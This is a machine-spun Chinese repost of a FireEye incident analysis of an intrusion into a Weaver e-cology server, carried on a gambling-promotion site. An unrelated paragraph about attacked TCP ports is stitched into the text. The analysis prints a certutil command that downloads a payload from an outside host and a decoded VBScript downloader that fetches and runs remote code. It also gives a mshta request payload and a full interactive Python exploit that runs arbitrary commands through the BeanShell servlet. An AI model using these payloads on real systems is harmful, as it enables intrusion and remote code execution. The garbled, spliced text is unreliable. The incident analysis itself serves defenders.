新型入侵手艺:运用WMI编译的“.bmf”文件和CertUtil举行殽杂实行 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

新型入侵手艺:运用WMI编译的“.bmf”文件和CertUtil举行殽杂实行

申博_安全防护 申博 45次浏览 未收录 0个评论

申博新网站

申博新网站是近年来口碑最好的、知名度最广的国内最大博彩平台,在这里,老顾客坚守战场,新顾客源源不断地涌入又变成忠实的老顾客。在申博sunbet官网,游戏人生也是最有价值的人生了!遍地是黄金,就等你来拿了!申博官网,是您茶余饭后想要玩乐的最舒心娱乐平台。

,

媒介

这篇文章重要报告了一个风趣的入侵尝试,FireEye Managed Defense近期阻挠了一项应用近期表露破绽的疾速兵器化进击,在该进击中,进击者制造性地运用了WMI编译的“.bmf”文件和CertUtil用于殽杂实行。

这一次对入侵运动的胜利监测,为我们积累了许多平安方面的珍贵履历,重要包括:一些进击者可以敏捷响应,以至比许多平安团队的响应速度还要快。在确保营业连续性的状况下,对庞杂的软件环境展开破绽修复,或许难以跟上进击者应用破绽的步调,迥殊是当进击者将这些破绽与针对操纵体系本身功用而制造的新型殽杂要领相结合,并举行疾速应用的时刻,人们往往会措手不及。

延续监测

在我们对客户供应延续监测效劳的历程当中,FireEye Managed Defense在欧洲一家制造业客户的体系上发明了可疑文件写入运动,我们立即在发明可疑事宜的主机上网络信息,以展开开端观察。在证据网络完成后,我们最先运用FireEye的Redline取证剖析东西中供应的剖析器来剖析取证数据。经由对日记的剖析,我们发明,该主机上实行了一些可疑敕令,疑似进击者正在举行交互式侦察运动。一般,一旦胜利攻下主机,进击者往往会取得一个敕令Shell窗口,从而可以在目的主机上实行敕令。这些敕令可以会与侦察运动相干,所谓侦察运动旨在将关于主机的有效信息暴露给进击者。以下是我们观察到的一些在主机上胜利实行的敕令:

ipconfig.exe ipconfig /all
whoami.exe whoami

处置惩罚上述历程实行的相干父历程为:

\Weaver\jdk_new\bin\javaw.exe

进击思绪

一旦进击者经由历程应用未知破绽获取到对Web效劳器的接见权限后,他们就会尝试经由历程Windows Management Instrumentation(WMI)进一步在体系内举行控制。进击者应用WMI的实行历程,该历程会以Managed Object Format(MOF)文件作为输入,将其编译到WMI缓冲区中,生成一个已编译的“.bmf”输出文件。进击者编写了第二阶段的Payload,并运用BMI对其举行了编译。末了,他们将已编译的“.bmf”文件上传至其Web效劳器,并将该文件修正并假装成“.rar”文件。

在对该歹意运动举行进一步评价后,我们发明,要挟行动者在取得对目的Web效劳器的接见权限后,他们应用Windows当地二进制文件“Certutil.exe”从长途位置下载歹意代码。我们的观察表明,进击者运用了下述敕令行参数实行了“Certutil.exe”历程的实例:

certutil  -urlcache -split
-f http://[DOMAIN]/uploads/180307/l.rar c:\windows\temp\l.rar

这些参数的作用以下(援用自Microsoft Certutil页面):

参数:-urlcache

形貌:显现或删除URL缓存条目

参数:-split

形貌:拆分嵌入式ASN.1元素,并保存到文件

参数:-f

形貌:强迫掩盖

我们观察到,Certutil不仅在正当应用顺序和一般运转历程当中被合理运用,另有可以被要挟行动者不法滥用。

在下载第二阶段Payload后不久,我们观察到一些与“l.rar”(MD5:4084eb4a41e3a01db2fe6f0b91064afa)相干的一些文件写入事宜。迥殊值得关注的是:

cmd.exe  cmd /c mofcomp.exe C:\Windows\temp\l.rar
cmd.exe cmd /c del C:\Windows\temp\l.rar

上述敕令应用Windows的“cmd.exe”诠释器,在新取得的“l.rar”上运转“mofcomp.exe”。该历程用于剖析包括MOF语句的文件,并将该文件中定义的任何类和类实例添加到WMI存储库中,然后删除上述文件。

FireEye Mandiant应急响应专家Christopher Glyer和Devon Kerr在MIRcon 2014集会中宣布“议论WMI中的一些症结部份”演讲,个中提出了进击者和防备者应用mofcomp.exe的体式格局。

收集进击集合在3个TCP端口

中小型企业可以通过保护攻击者最常攻击的端口来保护企业免受部分网络攻击的威胁。在超过13000个网络攻击的目标中,有3个端口非常突出。 情报和防护公司Alert Logic的报告中枚举了针对其客户端4000个网络攻击中的弱点。 攻击最多的TCP端口 该报告指出,最常被攻击的3个端口是22,80和443,对应着SSH(Secure Shell)、HTTP和HTTPS服务。 Alert Logic称这3个端口出现在65%的攻击活动中,这些端口要开放来进行通信,但是要确保是安全的或是明文。 排名第4的是RDP协议,RDP协议是用

发起红队和蓝队应用MOF文件:

新型入侵手艺:运用WMI编译的“.bmf”文件和CertUtil举行殽杂实行

在研讨历程当中,我们取得了“l.rar”文件,并对其举行进一步剖析。我们观察到该文件的文件头以“FOMB”最先,倒过来即为“BMOF”,也就是二进制治理对象花样(Binary Managed Object Format)。在控制上述这些信息后,我们就要最先寻觅要领,来对已编译的二进制文件举行逆向。在FireEye的沙箱环境中剖析文件后,我们可以从BMOF文件中取得以下信息:

On Error Resume Next:execmydler():Function execmydler():Set
P=CreateObject("WinHttp.WinHttpRequest.5.1"):P[.]Open
"GET","hxxp[://[DOMAIN]/d/dl[.]asp",0:P[.]Send():b=P[.]responseText:M=Spli
t(b,",",-1,1):For Each Od In M:Nd=Nd+Chr(Od-
2):Next:Set P=Nothing:If Len(Nd) > 10 Then:Execute(Nd):End If:End

为了假装歹意运动,进击者编写了MOF剧本,并将其编译为BMOF文件,然后经由历程WMI在受益盘算机上运转歹意BMOF文件。前面提到的代码在实行历程当中尝试从“hxxp[://[DOMAIN]/d/dl[.]asp”下载第二阶段的Payload。由于涉及到WMI缓冲区,因而这一进击体式格局将有助于在受益者环境中取得持久性。

在研讨时期,我们还发明了一个名为“bmfdec”的开源项目,这个项目对BMOF文件举行了反编译。

发明破绽应用

我们发明进击者在9月22日最为活泼,因而我们所展开的大部份观察都在这个时候范围内举行。经由历程对FireEye Endpoint Security的事宜举行剖析后,我们发明了在体系上实行的侦察敕令,包括whoami、ipconfig以及下载其他二进制文件。然则,跟着我们对体系的进一步剖析,我们没有在实行这些敕令的同一时候范围内发明任何破绽应用。我们对HTTP日记举行了剖析,该历程当中也没有发明原始Payload。在HTTP日记中,我们发明了可疑的HTTP POST要求,包括对“/weaver/bsh.servlet.BshServlet/”的要求,但遗憾的是,我们所剖析的效劳器营业较为忙碌,因而日记中没有记录到Payload,仅仅包括元数据(Metadata)。

HTTP日记条目示例:

'-` 2886000` 10.10.10.10` -` -` "[23/Sep/2019:10:10:10 +0800]"` "POST
/weaver/bsh.servlet.BshServlet/ HTTP/1.1"`  "-"'

FireEye Endpoint Security可以网络内存映像,而且该映像的日期与初始歹意运动是在同一天。由于内存中的内容常常会发作转变,因而在现实观察取证历程当中,越早网络内存内容,就越有可以发明其他证据。我们运用Volatility剖析了内存映像,以查找任何可疑的事宜日记条目、历程建立、注册表条目等。在检察内存映像的历程当中,我们发明了javaw.exe下发生的mshta.exe实例,这些历程的建立日期是2019年9月20日,我们将观察重点转移到了这个日期。

.. httpd.exe            2388    604      3     84 2019-06-28 09:32:53 UTC+0000
... java.exe            2420   2388      0 ------ 2019-06-28 09:32:53 UTC+0000
.... javaw.exe          4804   2420     36    530 2019-06-28 09:33:19 UTC+0000
..... javaw.exe         5976   4804    177   4925 2019-06-28 09:33:21 UTC+0000
...... mshta.exe       17768   5976     12    320 2019-09-20 14:20:00 UTC+0000
...... mshta.exe        9356   5976     12    306 2019-09-20 11:12:04 UTC+0000
...... mshta.exe       22416   5976     12    310 2019-09-20 11:31:14 UTC+0000
...... mshta.exe       23240   5976     13    318 2019-09-20 14:20:01 UTC+0000
...... mshta.exe       15116   5976     12    311 2019-09-20 11:31:23 UTC+0000

这与我们最初的发明相匹配,并向我们供应了进一步的信息。但遗憾的是,依据我们最初取证中取得的证据(包括终端上的顺序和内存映像),没有找到在该日期前后文件体系的严重变化。在这个阶段,客户端已紧要断网,并最先了弥补操纵,但我们依然不晓得进击者是应用哪一个破绽作为目的主机的“突破口”。我们晓得,历程途径表明httpd.exe被进击者应用以运转歹意的javaw.exe敕令,这与我们在HTTP日记中发明的内容一致,但我们没有找到Payload。

寻觅关于Weaver的线索

有肯定履历的应急响应职员都晓得,假如剖析数据未能找到我们想要查找的证据,我们可以尝试的末了一件事,就是搜刮文件的原始字节和字符串。Volatility具有异常轻易的功用,可以将字符串偏移量映射到响应的历程和虚拟地址。在完成此操纵后,可以用grep搜刮特定症结字,并经由历程字符串举行过滤,以此肯定了许多未分派空间中的HTTP POST要求。随后,依据其context参数再进一步举行grep挑选,我们终究发明了一些值得关注的HTTP POST要求及对应的Payload。

POST Payload示例:

POST /weaver/bsh.servlet.BshServlet/ HTTP/1.1
Host: x.x.x.x:88
Connection: close
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
bsh.script=eval .("ex"+"ec(\"mshta hxxp:// www[DOMAIN]/index[.]hta\")");&bsh.servlet.output=raw23; languageidweaver=7; testBanCookie=test; JSESSIONID=xxxxxxxxxx; Systemlanguid=7
tBanCookie=test; Systemlanguid=7; loginidweaver=xxx
st; Systemlanguid=7; loginidweaver=xxx

终究,这就是我们一直在寻觅的破绽。个中的Payload恰是进击者实行的内容,而且URI确认了我们从内存映像中辨认出的历程途径。这一历程当中,是在向BshServlet发出要求。现在我们尚不清晰这个破绽是不是已知,由于该软件不会分派CVE编号。经由历程开源研讨,我们发明了许多中国博客站点,正在议论Weaver e-cology OA体系新发明的长途代码实行破绽。这些破绽位于OA体系的BeanShell组件中。进击者可以将特制的Payload发送到“\weaver/bsh.servlet.BshServlet”以实行恣意敕令。在个中的一篇中文博客网站中,我们发明了以下PoC剧本。

MD5:49b23c67c2a378fb8c76c348dd80ff61

import requests
import sys  
 
headers = {
   'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25',
   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
   'Accept-Language': 'zh-CN,zh;q=0.9',
   'Content-Type': 'application/x-www-form-urlencoded'
}  
 
 
 
def exploit(url,cmd):
   target=url+'/weaver/bsh.servlet.BshServlet'
   payload='bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+{}\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'.format(cmd)
   res=requests.post(url=target,data=payload,headers=headers,timeout=10)
   res.encoding=res.apparent_encoding
   print(res.text)  
 
if __name__ == '__main__':
   url=sys.argv[1]
   while(1):
       cmd=input('cmd:')
       exploit(url,cmd)

该剧本中包括一些硬编码的HTTP标头值,包括User-Agent、可接受的数据范例、可接受的语言和内容范例。这个剧本生成一个HTTP要求,并许可用户指定他们想要运转的敕令。然后,它将URL和敕令附加到精心设计的破绽应用顺序中并实行。在我们的现实案例中,进击者应用该破绽启动mshta.exe,以下载第二阶段的Payload。

经由历程运用Shodan和Censys这类的互联网装备搜刮引擎,我们可以疾速辨认出运转Weaver e-cology平台的体系。借助该手艺,我们肯定了28个面临潜伏要挟的互联网体系。

新型入侵手艺:运用WMI编译的“.bmf”文件和CertUtil举行殽杂实行

总结

Managed Defense每周都邑对此类事宜举行回响反映。在这个案例中,FOMB的运用异常值得关注,这是我们第一次发明这类手艺被用于绕过防备。假如被进击者加以应用,已编译的“.bmf”文件可以有效地潜入到目的环境中,不会被检测到,而且可以经由历程WMI缓冲区完成持久性。

有许多历程和手艺控制措施都可以协助体系防备被入侵。大多数的大型企业都具有庞杂的网络结构,难以辨认一切公然的软件和效劳。在许多状况下,体系治理员都误以为他们的体系只能从内网接见,厥后经由确认后再发明是在公网上。面临这类状况,要肯定特定补丁的修复优先级可以会比较难题,假如治理员没有意想到资产已布置到公网,那末就很可以会将风险定为“低”。

一般,将差别控制措施整合到一同往往是最好的方法。在Managed Defense中,我们假定这些控制是不完善的,进击者可以找到一种绕过的要领。面临如许的状况,布置壮大的监控功用,再装备针对低信度或弱信号举行剖析的专业团队,就可以发明底本未被注重的进击者。

本文翻译自:https://www.fireeye.com/blog/threat-research/2019/10/certutil-qualms-they-came-to-drop-fombs.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明新型入侵手艺:运用WMI编译的“.bmf”文件和CertUtil举行殽杂实行
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址